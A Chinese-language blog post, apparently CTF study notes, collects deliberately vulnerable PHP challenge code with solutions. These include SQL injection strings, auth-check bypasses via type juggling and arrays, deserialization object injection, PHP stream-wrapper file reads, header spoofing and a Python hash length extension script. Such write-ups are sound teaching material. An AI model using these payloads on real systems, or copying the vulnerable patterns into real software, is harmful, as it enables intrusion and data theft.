注意:null==0 正确
null==flase 错误
-
- $flag='xxx';
- extract($_GET);
- if(isset($shiyan))
- {
- $content=trim(file_get_contents($flag));//trim移除引号
- if($shiyan==$content)
- {
- echo'ctf{xxx}';
- }
- else
- {
- echo'Oh.no';
- }
- }
-
- ?>
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
exp
exp:?shiyan=&flag=1
使用的时候加上参数EXTR_SKIP 这个参数表示如果有冲突,不不覆盖已有的变量或者还有EXTR_PREFIX_SAME.
- <?php
-
- $info = "";
- $req = [];
- $flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
-
- ini_set("display_error", false); //为一个配置选项设置值
- error_reporting(0); //关闭所有PHP错误报告
-
- if(!isset($_GET['number'])){
- header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
-
- die("have a fun!!"); //die — 等同于 exit()
-
- }
-
- foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式
- foreach($global_var as $key => $value) {
- $value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)
- is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
- }
- }
-
-
- function is_palindrome_number($number) {
- $number = strval($number); //strval — 获取变量的字符串值
- $i = 0;
- $j = strlen($number) - 1; //strlen — 获取字符串长度
- while($i < $j) {
- if($number[$i] !== $number[$j]) {
- return false;
- }
- $i++;
- $j--;
- }
- return true;
- }
-
-
- if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
- {
-
- $info="sorry, you cann't input a number!";
-
- }
- elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
- {
-
- $info = "number must be equal to it's integer!! ";
-
- }
- else
- {
-
- $value1 = intval($req["number"]);
- $value2 = intval(strrev($req["number"]));
-
- if($value1!=$value2){
- $info="no, this is not a palindrome number!";
- }
- else
- {
-
- if(is_palindrome_number($req["number"])){
- $info = "nice! {$value1} is a palindrome number!";
- }
- else
- {
- $info=$flag;
- }
- }
-
- }
-
- echo $info;
https://www.cnblogs.com/miyeah/p/4005269.html
- import requests
- for i in range(256):
- rq = requests.get("http://127.0.0.1/vuln/CTF/1/index.php?number=%s191"%("%%%02X"%i))
- if '1' in rq.text:
- print "%%%02X"%i
%%%02x 前两个百分号是输出一个百分号,第一个百分号用来转义第二个百分号的。第三个自然是格式的输出。
fuzz的结果
- %0C
- %2B
-
- error_reporting(0);
- $flag = "flag{test}";
-
- $temp = $_GET['password'];
- is_numeric($temp)?die("no numeric"):NULL;
- if($temp>1336){
- echo $flag;
- }
-
- ?>
temp=1337a
多重加密
- include 'common.php';
- $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
- //把一个或多个数组合并为一个数组
- class db
- {
- public $where;
- function __wakeup()
- {
- if(!empty($this->where))
- {
- $this->select($this->where);
- }
- }
- function select($where)
- {
- $sql = mysql_query('select * from user where '.$where);
- //函数执行一条 MySQL 查询。
- return @mysql_fetch_array($sql);
- //从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
- }
- }
-
- if(isset($requset['token']))
- //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
- {
- $login = unserialize(gzuncompress(base64_decode($requset['token'])));
- //gzuncompress:进行字符串压缩
- //unserialize: 将已序列化的字符串还原回 PHP 的值
-
- $db = new db();
- $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
- //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
-
- if($login['user'] === 'ichunqiu')
- {
- echo $flag;
- }else if($row['pass'] !== $login['pass']){
- echo 'unserialize injection!!';
- }else{
- echo "(╯‵□′)╯︵┴─┴ ";
- }
- }else{
- header('Location: index.php?error=1');
- }
-
- ?>
token的加密,对token进行base64解密然后压缩,最后反序列化。
自然我们可以先进行序列化然后压缩,最后base64加密。
当然,我们需要让token的user属性是ichunqiu,于是就有了
-
- $arr = array(['user'] === 'ichunqiu');
- $token = base64_encode(gzcompress(serialize($arr)));
- print_r($token);
- // echo $token;
-
- ?>
eJxLtDK0qs60MrBOAuJaAB5uBBQ=
ereg和strops
-
-
- $flag = "flag";
-
- if (isset ($_GET['password']))
- {
- if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
- {
- echo '
You password must be alphanumeric
'; - }
- else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
- {
- if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
- {
- die('Flag: ' . $flag);
- }
- else
- {
- echo('
*-* have not been found
'); - }
- }
- else
- {
- echo '
Invalid password
'; - }
- }
- ?>
?password=1e9%00*_*
https://blog.csdn.net/Xxy605/article/details/109908059
-
- $flag = "flag";
-
- if (isset ($_GET['nctf'])) {
- if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
- echo '必须输入数字才行';
- else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
- die('Flag: '.$flag);
- else
- echo '骚年,继续努力吧啊~';
- }
-
- ?>
-
strpos()找的是字符串,那么传一个数组给它,就是null,null!==flasenctf[]=
那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求.
-
字符串截断,利用ereg()的NULL截断漏洞,绕过正则过滤,注意将#编码,不进行url编码会当作分隔符
https://blog.csdn.net/liu943367080/article/details/97130559
-
-
- $flag = "flag";
-
- if (isset ($_GET['password'])) {
- if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
- echo 'You password must be alphanumeric';
- else if (strpos ($_GET['password'], '--') !== FALSE)
- die('Flag: ' . $flag);
- else
- echo 'Invalid password';
- }
- ?>
strcmp比较字符串
- $flag = "flag";
- if (isset($_GET['a'])) {
- if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
-
- //比较两个字符串(区分大小写)
- die('Flag: '.$flag);
- else
- print 'No';
- }
-
- ?>
?a[]=1
使用:php<5.3的时候,传入非字符数也会报错
传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误
sha()函数比较绕过
-
- $flag = "flag";
-
- if (isset($_GET['name']) and isset($_GET['password']))
- {
- if ($_GET['name'] == $_GET['password'])
- echo '
Your password can not be your name!
'; - else if (sha1($_GET['name']) === sha1($_GET['password']))
- die('Flag: '.$flag);
- else
- echo '
Invalid password.
'; - }
- else
- echo '
Login first!
'; - ?>
sha1()函数和md5()函数存在着漏洞,sha1()函数默认的传入参数类型是字符串型,那要是给它传入数组呢会出现错误,使sha1()函数返回错误,也就是返回false,这样一来===运算符就可以发挥作用了,需要构造username和password既不相等,又同样是数组类型
所以payload:?name[]=a&password[]=b
session绕过
-
- $flag = "flag";
-
- session_start();
- if (isset ($_GET['password'])) {
- if ($_GET['password'] == $_SESSION['password'])
- die ('Flag: '.$flag);
- else
- print '
Wrong guess.
'; - }
- mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
- ?>
删除cookies或者删除cookies的值,同时把password的值置空
密码比较md5绕过
-
- //配置数据库
- if($_POST[user] && $_POST[pass]) {
- $conn = mysql_connect("********, "*****", "********");
- mysql_select_db("phpformysql") or die("Could not select database");
- if ($conn->connect_error) {
- die("Connection failed: " . mysql_error($conn));
- }
- //赋值
- $user = $_POST[user];
- $pass = md5($_POST[pass]);
- //sql语句
- // select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' #
- // ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
- $sql = "select pw from php where user='$user'";
- $query = mysql_query($sql);
- if (!$query) {
- printf("Error: %s\n", mysql_error($conn));
- exit();
- }
- $row = mysql_fetch_array($query, MYSQL_ASSOC);
- //echo $row["pw"];
- if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
- //如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
- echo "
Logged in! Key:**************
"; - }
- else {
- echo("
Log in failure!
"); - }
- }
- ?>
?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
二次编码绕过
- if(eregi("hackerDJ",$_GET[id])) {
- echo("
not allowed!
"); - exit();
- }
-
- $_GET[id] = urldecode($_GET[id]);
- if($_GET[id] == "hackerDJ")
- {
- echo "
Access granted!
"; - echo "
flag: *****************}
"; - }
- ?>
因为get传参以后会自动进行一次url编码,所以一共要两次
sql特殊绕过
闭合绕过
-
-
- if($_POST[user] && $_POST[pass]) {
- $conn = mysql_connect("*******", "****", "****");
- mysql_select_db("****") or die("Could not select database");
- if ($conn->connect_error) {
- die("Connection failed: " . mysql_error($conn));
- }
- $user = $_POST[user];
- $pass = md5($_POST[pass]);
-
- //select user from php where (user='admin')#
-
- //exp:admin')#
-
- $sql = "select user from php where (user='$user') and (pw='$pass')";
- $query = mysql_query($sql);
- if (!$query) {
- printf("Error: %s\n", mysql_error($conn));
- exit();
- }
- $row = mysql_fetch_array($query, MYSQL_ASSOC);
- //echo $row["pw"];
- if($row['user']=="admin") {
- echo "
Logged in! Key: ***********
"; - }
-
- if($row['user'] != "admin") {
- echo("
You are not admin!
"); - }
- }
-
- ?>
admin')#
with ROLLUP绕过
- error_reporting(0);
-
- if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
- echo '."
"; - echo ''."
"; - echo ''."
"; - echo ''."
"; - echo ''."
"; - echo ''."
"; - die;
- }
-
- function AttackFilter($StrKey,$StrValue,$ArrReq){
- if (is_array($StrValue)){
-
- //检测变量是否是数组
-
- $StrValue=implode($StrValue);
-
- //返回由数组元素组合成的字符串
-
- }
- if (preg_match("/".$ArrReq."/is",$StrValue)==1){
-
- //匹配成功一次后就会停止匹配
-
- print "水可载舟,亦可赛艇!";
- exit();
- }
- }
-
- $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
- foreach($_POST as $key=>$value){
-
- //遍历数组
-
- AttackFilter($key,$value,$filter);
- }
-
- $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
- if (!$con){
- die('Could not connect: ' . mysql_error());
- }
- $db="XXXXXX";
- mysql_select_db($db, $con);
-
- //设置活动的 MySQL 数据库
-
- $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
- $query = mysql_query($sql);
-
- //执行一条 MySQL 查询
-
- if (mysql_num_rows($query) == 1) {
-
- //返回结果集中行的数目
-
- $key = mysql_fetch_array($query);
-
- //返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
-
- if($key['pwd'] == $_POST['pwd']) {
- print "CTF{XXXXXX}";
- }else{
- print "亦可赛艇!";
- }
- }else{
- print "一颗赛艇!";
- }
- mysql_close($con);
- ?>
admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -
https://blog.csdn.net/qq_35078631/article/details/54772798
offset 1表示跳过一条数据
Desc(反引号)
- require("config.php");
- $table = $_GET['table']?$_GET['table']:"test";
- $table = Filter($table);
- mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
- $sql = "select 'flag{xxx}' from secret_{$table}";
- $ret = sql_query($sql);
- echo $ret[0];
- ?>
https://blog.csdn.net/shuteer_xu/article/details/107478640
ctf@localhost
查表,查列的时候,数据库名使用16进制
`flag` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1`
有版本限制的。
or绕过
-
- #GOAL: login as admin,then get the flag;
- error_reporting(0);
- require 'db.inc.php';
-
- function clean($str){
- if(get_magic_quotes_gpc()){ //get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置
- $str=stripslashes($str); //返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。
- }
- return htmlentities($str, ENT_QUOTES);
- }
-
- $username = @clean((string)$_GET['username']);
- $password = @clean((string)$_GET['password']);
-
- //$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';
-
- $query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
- $result=mysql_query($query);
- if(!$result || mysql_num_rows($result) < 1){
- die('Invalid password!');
- }
-
- echo $flag;
-
- ?>
$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';
?username=admin\'\' AND pass=\''or 1 #&password=
闭合重构造
//select pw from ctf where user=''and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #
xff绕过指定ip地址
- function GetIP(){
- if(!empty($_SERVER["HTTP_CLIENT_IP"]))
- $cip = $_SERVER["HTTP_CLIENT_IP"];
- else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
- $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
- else if(!empty($_SERVER["REMOTE_ADDR"]))
- $cip = $_SERVER["REMOTE_ADDR"];
- else
- $cip = "0.0.0.0";
- return $cip;
- }
-
- $GetIPs = GetIP();
- if ($GetIPs=="1.1.1.1"){
- echo "Great! Key is *********";
- }
- else{
- echo "错误!你的IP不在访问列表之内!";
- }
- ?>
md5加密绕过
-
- $md51 = md5('QNKCDZO');
- $a = @$_GET['a'];
- $md52 = @md5($a);
- if(isset($a)){
- if ($a != 'QNKCDZO' && $md51 == $md52) {
- echo "nctf{*****************}";
- } else {
- echo "false!!!";
- }}
- else{echo "please input a";}
-
- ?>
0=0
- error_reporting(0);
- $flag = 'flag{test}';
- if (isset($_GET['username']) and isset($_GET['password'])) {
- if ($_GET['username'] == $_GET['password'])
- print 'Your password can not be your username.';
- else if (md5($_GET['username']) === md5($_GET['password']))
- die('Flag: '.$flag);
- else
- print 'Invalid password';
- }
- ?>
强等于只能用数组绕过
?username[]=1&password[]=2,每次得出来的都是null
-
- error_reporting(0);
- $flag = 'flag{test}';
- $temp = $_GET['password'];
- if(md5($temp)==0){
- echo $flag;
- }
-
- ?>
- Password 置空,null==0 是true
- 0e开头
md5加密的sql注入
-
- error_reporting(0);
- $link = mysql_connect('localhost', 'root', 'root');
- if (!$link) {
- die('Could not connect to MySQL: ' . mysql_error());
- }
- // 选择数据库
- $db = mysql_select_db("security", $link);
- if(!$db)
- {
- echo 'select db error';
- exit();
- }
- // 执行sql
- $password = $_GET['password'];
- $sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
- var_dump($sql);
- $result=mysql_query($sql) or die('
'
. mysql_error() . '' ); - $row1 = mysql_fetch_row($result);
- var_dump($row1);
- mysql_close($link);
- ?>
https://www.cnblogs.com/beijibing/p/10393526.html
interval函数四舍五入
-
- if($_GET[id]) {
- mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
- mysql_select_db(SAE_MYSQL_DB);
- $id = intval($_GET[id]);
- $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
- if ($_GET[id]==1024) {
- echo "
no! try again
"; - }
- else{
- echo($query[content]);
- }
- }
-
- ?>
1024.1
四舍五入绕过最基本的if判断
十六进制与数字比较
-
- error_reporting(0);
- function noother_says_correct($temp)
- {
- $flag = 'flag{test}';
- $one = ord('1'); //ord — 返回字符的 ASCII 码值
- $nine = ord('9'); //ord — 返回字符的 ASCII 码值
- $number = '3735929054';
- // Check all the input characters!
- for ($i = 0; $i < strlen($number); $i++)
- {
- // Disallow all the digits!
- $digit = ord($temp{$i});
- if ( ($digit >= $one) && ($digit <= $nine) )
- {
- // Aha, digit not allowed!
- return "flase";
- }
- }
- if($number == $temp)
- return $flag;
- }
- $temp = $_GET['password'];
- echo noother_says_correct($temp);
-
- ?>
这里,它不让输入1到9的数字,但是后面却让比较一串数字,平常的方法肯定就不能行了,大家都知道计算机中的进制转换,当然也是可以拿来比较的,0x开头则表示16进制,将这串数字转换成16进制之后发现,是deadc0de,在开头加上0x,代表这个是16进制的数字,然后再和十进制的
3735929054比较,答案当然是相同的,返回true拿到flag
echo dechex ( 3735929054 ); // 将3735929054转为16进制
结果为:deadc0de
构造:
http://127.0.0.1/Php_Bug/20.php?password=0xdeadc0de
数字验证正则绕过
- error_reporting(0);
- $flag = 'flag{test}';
- if ("POST" == $_SERVER['REQUEST_METHOD'])
- {
- $password = $_POST['password'];
- if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
- {
- echo 'Wrong Format';
- exit;
- }
- while (TRUE)
- {
- $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
- if (6 > preg_match_all($reg, $password, $arr))
- break;
- $c = 0;
- $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
- foreach ($ps as $pt)
- {
- if (preg_match("/[[:$pt:]]+/", $password))
- $c += 1;
- }
- if ($c < 3) break;
- //>=3,必须包含四种类型三种与三种以上
- if ("42" == $password) echo $flag;
- else echo 'Wrong password';
- exit;
- }
- }
-
- ?>
0 >= preg_match('/^[[:graph:]]{12,}$/', $password)
意为必须是12个字符以上(非空格非TAB之外的内容)
$password分成连续的符号punct或者数字digit或者大写upper或者小写lower能分成6段以上
而且必须要有大小写字母,数字,字符内容三种与三种以上,最后还要等于42
- 42.00e+00000000000
- 或
- 42.Hell0dddddddddd
switch没有break
-
- error_reporting(0);
-
- if (isset($_GET['which']))
- {
- $which = $_GET['which'];
- if ($which===0||$which===1||$which===2)
- die("no,no,no,no");
- switch ($which)
- {
- case 0:
- case 1:
- case 2:
- require_once $which.'.php';
- echo $flag;
- break;
- default:
- echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
- break;
- }
- }
-
- ?>
https://zhidao.baidu.com/question/336186893.html
输入任意字符串即可
反序列化
unserialize()会忽略多余的字符
-
- require_once('shield.php');
- $x = new Shield();
- isset($_GET['class']) && $g = $_GET['class'];
- if (!empty($g)) {
- $x = unserialize($g);
- }
- echo $x->readfile();
- ?>
"showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>-
-
- //flag is in pctf.php
- class Shield {
- public $file;
- function __construct($filename = '') {
- $this -> file = $filename;
- }
-
- function readfile() {
- if (!empty($this->file) && stripos($this->file,'..')===FALSE
- && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
- return @file_get_contents($this->file);
- }
- }
- }
- ?>
-
- $f = $_GET['img'];
- if (!empty($f)) {
- $f = base64_decode($f);
- if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
- //stripos — 查找字符串首次出现的位置(不区分大小写)
- && stripos($f,'pctf')===FALSE) {
- readfile($f);
- } else {
- echo "File not found!";
- }
- }
- ?>
-
- require_once('shield.php');
- $x = new Shield();
- $g = serialize($x);
- echo $g;
-
- ?>
-
- //flag is in pctf.php
- class Shield {
- public $file;
- function __construct($filename = 'pctf.php') {
- $this -> file = $filename;
- }
-
- function readfile() {
- if (!empty($this->file) && stripos($this->file,'..')===FALSE
- && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
- return @file_get_contents($this->file);
- }
- }
- }
- ?>
得到:O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
构造 http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
反序列化逃逸
- function filter($str){
- return str_replace('bb', 'ccc', $str);
- }
- class A{
- public $name='aaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
- public $pass='123456';
- }
- $AA=new A();
- $res=filter(serialize($AA)."\n");
-
- echo $res;
- $c=unserialize($res);
-
- var_dump($c);
- ?>
直接能造成逃逸
哈希长度拓展攻击
Web 350 -
-
- $auth = false;
- $role = "guest";
- $salt =
- if (isset($_COOKIE["role"])) {
- $role = unserialize($_COOKIE["role"]);
- $hsh = $_COOKIE["hsh"];
- if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"])))
- // strrev返回 string 反转后的字符串。
- {
- $auth = true;
- } else {
- $auth = false;
- }
- } else {
- $s = serialize($role);
- setcookie('role',$s);
- $hsh = md5($salt.strrev($s));
- setcookie('hsh',$hsh);
- }
- if ($auth) {
- echo "
Welcome Admin. Your flag is
- } else {
- echo "
Only Admin can see the flag!!
"; - }
- ?>
-
https://www.cnblogs.com/Cl0ud/p/13380114.html
所以我们需要突破的是
$role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))
先看后面的比较
左边的$hsh是我们COOKIE中传递过去的$hsh 哈希值
右边是使用盐值和反转后的传过去的role值连接后,并进行md5加密的结果,需要与$hsh相等
这里看上去是无懈可击的,虽然我们可以传递hsh和role的值,但是因为我们不知道盐值,所以得到的md5很难凭猜或者爆破来令其与hsh相等。
但是如MD5,SHA1, SHA2等,都是基于Merkle–Damgård结构,而这类算法的问题在于:如果你知道加密前的原文,和加密后的密文,只需要再知道盐值的长度,就能在原文后面添加信息并计算出相应的密文。
在pcat的博文中介绍过应用场景为
如果一个应用程序是这样操作的:
-
准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名)
-
让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文
-
服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值
这个时候,该应用程序就易受长度扩展攻击
另外,只有盐值在前,原文在后,才可以用hash长度扩展攻击。
预测得到的是:
md5(盐+原文+填充+恶意扩充)
哈希长度扩展攻击我们通常使用HashPump进行利用
HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响,因其部分避免了对状态变量的输出,并不输出全部的状态变量。
- git clone https://github.com/bwall/HashPump
- apt-get install g++ libssl-dev
- cd HashPump
- make
- make install
我们先进行抓包

这里还利用了PHP反序列化unserialize的一个特性,即unserialize()会忽略多余的字符
例如:
- $s = 's:5:"admin"; s:5:"guest";';
- echo unserialize($s);
- ?>

可以看到,后面的guest被忽略了,没有进行反序列化,而是被忽略了,这也是我们使用填充字符进行哈希长度扩展攻击的关键。
另外我们虽然不知道盐值的长度,但是我们可以进行逐个尝试
将获得的结果反序后重放

- import requests,hashpumpy,urllib
-
- def attack():
- url = 'http://web.jarvisoj.com:32778/'
-
- old_cookie = '3a4727d57463f122833d9e732f94e4e0'
- str1 = 's:5:"guest";'
- str2 = 's:5:"admin";'
- str1 = str1[::-1] #倒过来,这道题要role的值反过来求md5
- str2 = str2[::-1]
-
- for i in range(1,20): #用于爆破salt的长度
- new_cookie,message = hashpumpy.hashpump(old_cookie,str1,str2,i)
- payload = {'role':urllib.parse.quote(message[::-1]),'hsh':new_cookie} #quote()可以把 \x00 变成 %00
- ans = requests.get(url,cookies = payload)
- print(i)
- print(ans.text)
- if 'flag' in ans.text:
- print(ans.text)
- #print(urllib.parse.quote('\x00'))
- attack()
数组提交绕过逻辑
- $role = "guest";
- $flag = "flag{test_flag}";
- $auth = false;
- if(isset($_COOKIE["role"])){
- $role = unserialize(base64_decode($_COOKIE["role"]));
- if($role === "admin"){
- $auth = true;
- }
- else{
- $auth = false;
- }
- }
- else{
- $role = base64_encode(serialize($role));
- setcookie('role',$role);
- }
- if($auth){
- if(isset($_POST['filename'])){
- $filename = $_POST['filename'];
- $data = $_POST['data'];
- if(preg_match('[<>?]', $data)) {
- die('No No No!'.$data);
- }
- else {
- $s = implode($data);
- if(!preg_match('[<>?]', $s)){
- $flag='None.';
- }
- $rand = rand(1,10000000);
- $tmp="./uploads/".md5(time() + $rand).$filename;
- file_put_contents($tmp, $flag);
- echo "your file is in " . $tmp;
- }
- }
- else{
- echo "Hello admin, now you can upload something you are easy to forget.";
- echo "
there are the source.
"; - echo ';
- echo htmlspecialchars(str_replace($flag,'flag{???}',file_get_contents(__FILE__)));
- echo '';
- }
- }
- else{
- echo "Sorry. You have no permissions.";
- }
- ?>
想要通过Post请求的形式传入数组可以使用 data[0]=123&data[1]=<> 的形式传入数组,这样的话在执行 implode() 函数的时候就不会使 &s 为空,成功绕过这段逻辑拿到flag。
伪协议
- error_reporting(0);
- echo "";
-
- if(!$_GET['id'])
- {
- header('Location: index.php?id=1');
- exit();
- }
- $id=$_GET['id'];
- $a=$_GET['a'];
- $b=$_GET['b'];
- if(stripos($a,'.'))
- {
- echo 'Hahahahahaha';
- return ;
- }
- $data = @file_get_contents($a,'r');
- if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
- {
- require("flag.txt");
- }
- else
- {
- print "work harder!harder!harder!";
- }
-
- ?>
?id=aaa&b=%00123456&a=php//:input
post: 1112 is a nice lab!
得到{/^HT2mCpcvOLf}其中^经过url编码为%5e,所以最后访问即
写入的读
- //what you want to see is in ssssrf.php
- error_reporting(0);
- highlight_file(__FILE__);
- if(isset($_POST['crack_me.com']))
- {
- $filename=$_POST['crack_me.com'];
- if(stripos($filename, 'bingbing')>0){
- echo file_get_contents($filename);
- }
- else{
- die("you don't like bingbing ???");
- }
- }
- else
- {
- die("can't pass the level?hai xiang kai junjian?");
- }
[会代替成为_
crack[me.com=php://filter/read=convert.base64|bingbing/resource=xxx.php
php伪随机数
- //next ,you can try ccccmd.php
- error_reporting(0);
- function curl($url){
- $ch=curl_init($url);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $result=curl_exec($ch);
- curl_close($ch);
- echo ($result);
- }
- $num=$_GET['num'];
- mt_srand(getenv('SEED'));
- $r1=mt_rand();
- echo $r1;
- $r2=mt_rand();
- if($num==$r2){
- $url=$_GET['url'];
- curl($url);
- }
这里需要先绕过$r2=mt_rand();
https://gitee.com/jrand/php_mt_seed
用这个工具.
-
相关阅读:
Express中的JWT使用
谈谈Linux内核的实时性优化
文件操作【c语言】
Mybatis---CRUD案例
Python 多进程模块 multiprocessing - 简单使用
HC32L110(五) Ubuntu20.04 VSCode的Debug环境配置
最低成本的foc驱动电路,5v低压开环foc驱动器
Error creating bean with name ‘apiModelSpecificationReader‘ defined in URL
12 导数的概念
C++笔记之引用折叠规则
-
原文地址:https://blog.csdn.net/why811/article/details/134035954